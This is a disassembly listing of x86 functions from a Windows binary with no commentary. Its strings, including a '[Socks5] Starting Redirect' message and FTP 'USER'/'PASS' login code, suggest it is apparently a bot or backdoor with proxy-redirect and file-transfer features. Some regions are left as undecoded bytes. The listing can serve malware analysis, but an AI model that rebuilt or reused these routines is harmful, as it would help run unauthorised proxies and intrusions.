		call	sub_401A87
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+88h+var_3C]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+84h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+88h+var_6C]
		call	sub_401A87
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 0Eh
		call	sub_401226
		lea	ecx, [esp+84h+var_54]
		call	sub_4014D3
		cmp	eax, offset byte_446F20
		jnz	short loc_42C45F
		push	offset aRoot	; "root"
		lea	ecx, [esp+88h+var_6C]
		call	sub_401A87


loc_42C45F:				; CODE XREF: sub_42BEF0+55Fj
		lea	ecx, [esp+84h+var_6C]
		call	sub_4014D3
		cmp	eax, offset byte_446F20
		jnz	short loc_42C47D
		push	offset byte_446F20
		lea	ecx, [esp+88h+var_6C]
		call	sub_401A87


loc_42C47D:				; CODE XREF: sub_42BEF0+57Dj
		push	offset asc_443600 ; " "
		lea	edx, [esp+88h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+88h+var_54]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 0Eh
		call	sub_401226
		lea	ecx, [esp+84h+var_6C]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+9Ch+var_74], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+9Ch+var_54]
		mov	byte ptr [esp+9Ch+var_4], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0B4h+var_70], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+0B8h+var_24]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0C0h+var_4], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B4h+var_4], 15h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+84h+var_24]
		mov	byte ptr [esp+84h+var_4], 0Eh
		call	sub_401226
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+84h+var_54]
		mov	[esp+84h+var_4], ebx
		call	sub_401226
		mov	edi, [esp+84h+arg_0]


loc_42C5A9:				; CODE XREF: sub_42BEF0+4ACj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C5C6
		mov	[ebp+11Ch], al


loc_42C5C6:				; CODE XREF: sub_42BEF0+6CEj
		mov	ecx, [esp+84h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
sub_42BEF0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C7A0	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A3D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C7C1
		inc	ecx
		mov	[eax+118h], ecx


loc_42C7C1:				; CODE XREF: sub_42C7A0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6E8B
		call	sub_40120D
sub_42C7A0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C820	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436FDE
sub_42C820	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 4453CCh, 0C4E89051h
		dd 83778145h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C870:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C883
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C883
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42C883:				; CODE XREF: ___:0042C876j
					; ___:0042C87Dj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8A0	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C914
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_437026
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44542068h, 0EBE89000h, 837780A4h,	0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C914:				; CODE XREF: sub_42C8A0+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C932
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		call	near ptr 77C1C561h
		nop
		add	esp, 8
		jmp	short loc_42C942
; ---------------------------------------------------------------------------


loc_42C932:				; CODE XREF: sub_42C8A0+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C942:				; CODE XREF: sub_42C8A0+90j
		cmp	eax, ebx
		jz	short loc_42C95D
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C971
; ---------------------------------------------------------------------------


loc_42C95D:				; CODE XREF: sub_42C8A0+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_437026
sub_42C8A0	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C971	proc near		; CODE XREF: sub_42C8A0+BBj
		push	ebp
		call	sub_436F84
sub_42C971	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C9BD
		push	ebp
		call	sub_436F78
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 10681875h, 90004454h, 80A45DE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C9BD:				; CODE XREF: ___:0042C97Ej
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436FCC
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445408h, 80A40DE8h, 0C4839077h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 4453F868h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 51F86807h, 1BEB0044h, 14468h, 0E8016A00h, 777FF68Bh
		dd 83F08B90h, 0F33B08C4h, 0F0681E75h, 90004453h, 80A3A5E8h
		dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 0F99DE800h,	8390777Fh, 0C33B04C4h, 75144689h
		dd 53F06824h, 0E8900044h, 7780A372h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CBA0	proc near		; CODE XREF: ___:0042D2F6p
					; sub_42E060+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CCE0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBDA


loc_42CBC2:				; CODE XREF: sub_42CBA0+8Ej
					; sub_42CBA0+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CBDA:				; CODE XREF: sub_42CBA0+20j
		mov	eax, dword_50E38C
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CBFE
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CBFE:				; CODE XREF: sub_42CBA0+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CC7E
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CCE0
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CBC2
		mov	ebp, dword_50FAD4


loc_42CC36:				; CODE XREF: sub_42CBA0+D7j
		cmp	dword_50E38C, 1
		jle	short loc_42CC54
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CC54:				; CODE XREF: sub_42CBA0+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CC7E
		push	edi
		push	100h
		push	esi
		call	sub_42CCE0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CC36
		jmp	loc_42CBC2
; ---------------------------------------------------------------------------


loc_42CC7E:				; CODE XREF: sub_42CBA0+62j
					; sub_42CBA0+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CBA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CCE0	proc near		; CODE XREF: sub_42CBA0+15p
					; sub_42CBA0+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CD10
		cmp	eax, 1
		jz	short loc_42CD10
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CD10:				; CODE XREF: sub_42CCE0+1Ej
					; sub_42CCE0+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CD22
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CD22:				; CODE XREF: sub_42CCE0+36j
					; sub_42CCE0+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CD73
		cmp	ebx, edi
		jge	short loc_42CD30
		lea	edi, [ebx-1]


loc_42CD30:				; CODE XREF: sub_42CCE0+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		call	near ptr 77C46170h
		nop
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CD49
		mov	edi, eax
		sub	edi, ebp


loc_42CD49:				; CODE XREF: sub_42CCE0+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CDFA


loc_42CD73:				; CODE XREF: sub_42CCE0+47j
		cmp	ebx, 1
		jz	loc_42CE4D
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD9B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD9B:				; CODE XREF: sub_42CCE0+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CE60
		push	esi
		call	sub_42CF10
		add	esp, 4
		test	eax, eax
		jz	loc_42CE92
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F8A
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CE7C
		test	eax, eax
		jnz	short loc_42CDDF
		mov	[esp+18h+var_4], 1


loc_42CDDF:				; CODE XREF: sub_42CCE0+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CD22
; ---------------------------------------------------------------------------


loc_42CDFA:				; CODE XREF: sub_42CCE0+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4451E8 ; "\r\n"
		mov	eax, ebp


loc_42CE04:				; CODE XREF: sub_42CCE0+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CE2C
		test	cl, cl
		jz	short loc_42CE28
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CE2C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CE04


loc_42CE28:				; CODE XREF: sub_42CCE0+130j
		xor	eax, eax
		jmp	short loc_42CE31
; ---------------------------------------------------------------------------


loc_42CE2C:				; CODE XREF: sub_42CCE0+12Cj
					; sub_42CCE0+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CE31:				; CODE XREF: sub_42CCE0+14Aj
		test	eax, eax
		jnz	short loc_42CE92
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CE4D:				; CODE XREF: sub_42CCE0+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CE60:				; CODE XREF: sub_42CCE0+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE92
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CE7C:				; CODE XREF: sub_42CCE0+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE92:				; CODE XREF: sub_42CCE0+D2j
					; sub_42CCE0+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CCE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CF10	proc near		; CODE XREF: sub_42CCE0+C8p
					; sub_42DD00:loc_42DD2Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CFF3
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CFF3
		cmp	eax, 2
		jnz	short loc_42CF45
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CF49
; ---------------------------------------------------------------------------


loc_42CF45:				; CODE XREF: sub_42CF10+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CF49:				; CODE XREF: sub_42CF10+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CF50:				; CODE XREF: sub_42CF10+98j
		cmp	eax, 40h
		jnb	short loc_42CF65
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CF65:				; CODE XREF: sub_42CF10+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436FA2
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CFAA
		test	eax, eax
		jg	short loc_42CFE1
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CFE6
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CF50
; ---------------------------------------------------------------------------


loc_42CFAA:				; CODE XREF: sub_42CF10+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		call	near ptr 77C371FAh
		nop
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CFE1:				; CODE XREF: sub_42CF10+7Dj
		mov	edi, 1


loc_42CFE6:				; CODE XREF: sub_42CF10+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CFF3:				; CODE XREF: sub_42CF10+19j
					; sub_42CF10+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CF10	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D050:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D0FF	; default
		jmp	off_42D104[eax*4] ; switch jump


loc_42D067:				; DATA XREF: ___:off_42D104o
		mov	eax, [esp+8]	; jumptable 0042D060 case 0
		cmp	eax, 1
		jz	short loc_42D079
		cmp	eax, 2
		jnz	loc_42D0FF	; default


loc_42D079:				; CODE XREF: ___:0042D06Ej
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D088:				; CODE XREF: ___:0042D060j
					; DATA XREF: ___:off_42D104o
		mov	edx, [esp+0Ch]	; jumptable 0042D060 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D09B:				; CODE XREF: ___:0042D060j
					; DATA XREF: ___:off_42D104o
		push	esi		; jumptable 0042D060 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D0DC:				; CODE XREF: ___:0042D060j
					; DATA XREF: ___:off_42D104o
		mov	eax, [esp+0Ch]	; jumptable 0042D060 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D0EF:				; CODE XREF: ___:0042D060j
					; DATA XREF: ___:off_42D104o
		mov	eax, [esp+0Ch]	; jumptable 0042D060 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D0FF:				; CODE XREF: ___:0042D05Aj
					; ___:0042D073j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D104	dd offset loc_42D067	; DATA XREF: ___:0042D060r
		dd offset loc_42D088	; jump table for switch	statement
		dd offset loc_42D09B
		dd offset loc_42D0DC
		dd offset loc_42D0EF
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D160	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D1F1
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D1F1
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D230
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D1CD
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D1CD:				; CODE XREF: sub_42D160+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D230
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D1F1:				; CODE XREF: sub_42D160+1Bj
					; sub_42D160+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D230	proc near		; CODE XREF: sub_42D160+51p
					; sub_42D160+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D253
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D253:				; CODE XREF: sub_42D230+15j
		mov	eax, dword_50E38C
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42D262:				; CODE XREF: ___:0042D2DDj
		jle	short loc_42D27C
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42D27C:				; CODE XREF: sub_42D230:loc_42D262j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D29C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D29C:				; CODE XREF: sub_42D230+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F90
sub_42D230	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		jz	short near ptr byte_42D32A
		inc	esp
		add	[eax-7F64EB18h], dl
		ja	short loc_42D262
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42CBA0
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1Ah dup(0CCh)
byte_42D32A	db 26h dup(0CCh)	; CODE XREF: ___:0042D2D4j

; =============== S U B	R O U T	I N E =======================================



sub_42D350	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D39C
		cmp	edi, 4
		jz	short loc_42D376
		cmp	edi, 3
		jnz	short loc_42D39C


